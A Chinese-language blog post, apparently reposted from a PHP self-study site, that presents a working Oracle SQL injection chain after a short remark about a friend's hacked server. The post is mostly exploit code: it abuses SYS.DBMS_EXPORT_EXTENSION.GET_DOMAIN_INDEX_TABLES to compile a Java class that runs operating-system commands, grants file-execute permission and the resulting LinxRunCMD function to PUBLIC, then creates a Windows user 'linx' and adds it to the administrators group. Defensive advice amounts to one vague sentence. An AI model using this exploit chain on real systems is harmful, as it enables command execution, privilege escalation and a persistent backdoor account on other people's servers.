ORACLE注入代码
最近朋友发现他们的服务器被 黑客 给搞定了,也引起我对这块的注意,特分析记录学习一下。
经过分析,之所以有这个 漏洞 存在的原因是因为ORACLE的DDL所导致,但是如何规避这个问题,可能从ORACLE来入手解决还不能完全处理掉,需要与开发人员进行业务功能实现来入手。首先一个好的程序代码,是不应该存在注入点的,但是在现实平台上运行的系统确确实实应该把注入点来搞掉,排查掉才行,因为即使从ORACLE角度把这个问题个规避掉,注入点也会对操作系统产生安全。
该方式在WIN环境测试通过,LINUX在进一步研究,但如下值得大家注意!
–建立类 www.2cto.com
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,'BAR’,'DBMS_OUTPUT].PUT(:P1);EXECUTE IMMEDIATE ]DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ]] create or replace and compile java source named [LinxUtil] as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=]";while ((stemp = myReader.readLine()) != null) str +=stemp+]\n];myReader.close();return str;} catch (Exception e){return e.toString();}}}]];END;];END;–’,'SYS’,0,’1′,0) from dual;
–赋 Java 权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,'BAR’,'DBMS_OUTPUT].PUT(:P1);EXECUTE IMMEDIATE ]DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ]]begin dbms_java.grant_permission( ]]]]PUBLIC]]]], ]]]]SYS:java.io.FilePermission]]]], ]]]]<>]]]], ]]]]execute]]]] );end;]];END;];END;–’,'SYS’,0,’1′,0) from dual;
–创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,'BAR’,'DBMS_OUTPUT].PUT(:P1);EXECUTE IMMEDIATE ]DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ]] create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ]]]]LinxUtil.runCMD(java.lang.String) return String]]]]; ]];END;];END;–’,'SYS’,0,’1′,0) from dual;
–赋public执行函数的权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,'BAR’,'DBMS_OUTPUT].PUT(:P1);EXECUTE IMMEDIATE ]DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ]]grant all on LinxRunCMD to public]];END;];END;–’,'SYS’,0,’1′,0) from dual;
–查看
select OBJECT_ID from all_objects where object_name =’LINXRUNCMD’ ;
–添加用户
select sys.LinxRunCMD(‘cmd /c net user linx /add’) from dual ;
select sys.LinxRunCMD(‘net localgroup administrators linx /add’) from dual ;
查看更多关于ORACLE注入代码之我所见 - 网站安全 - 自学php的详细内容...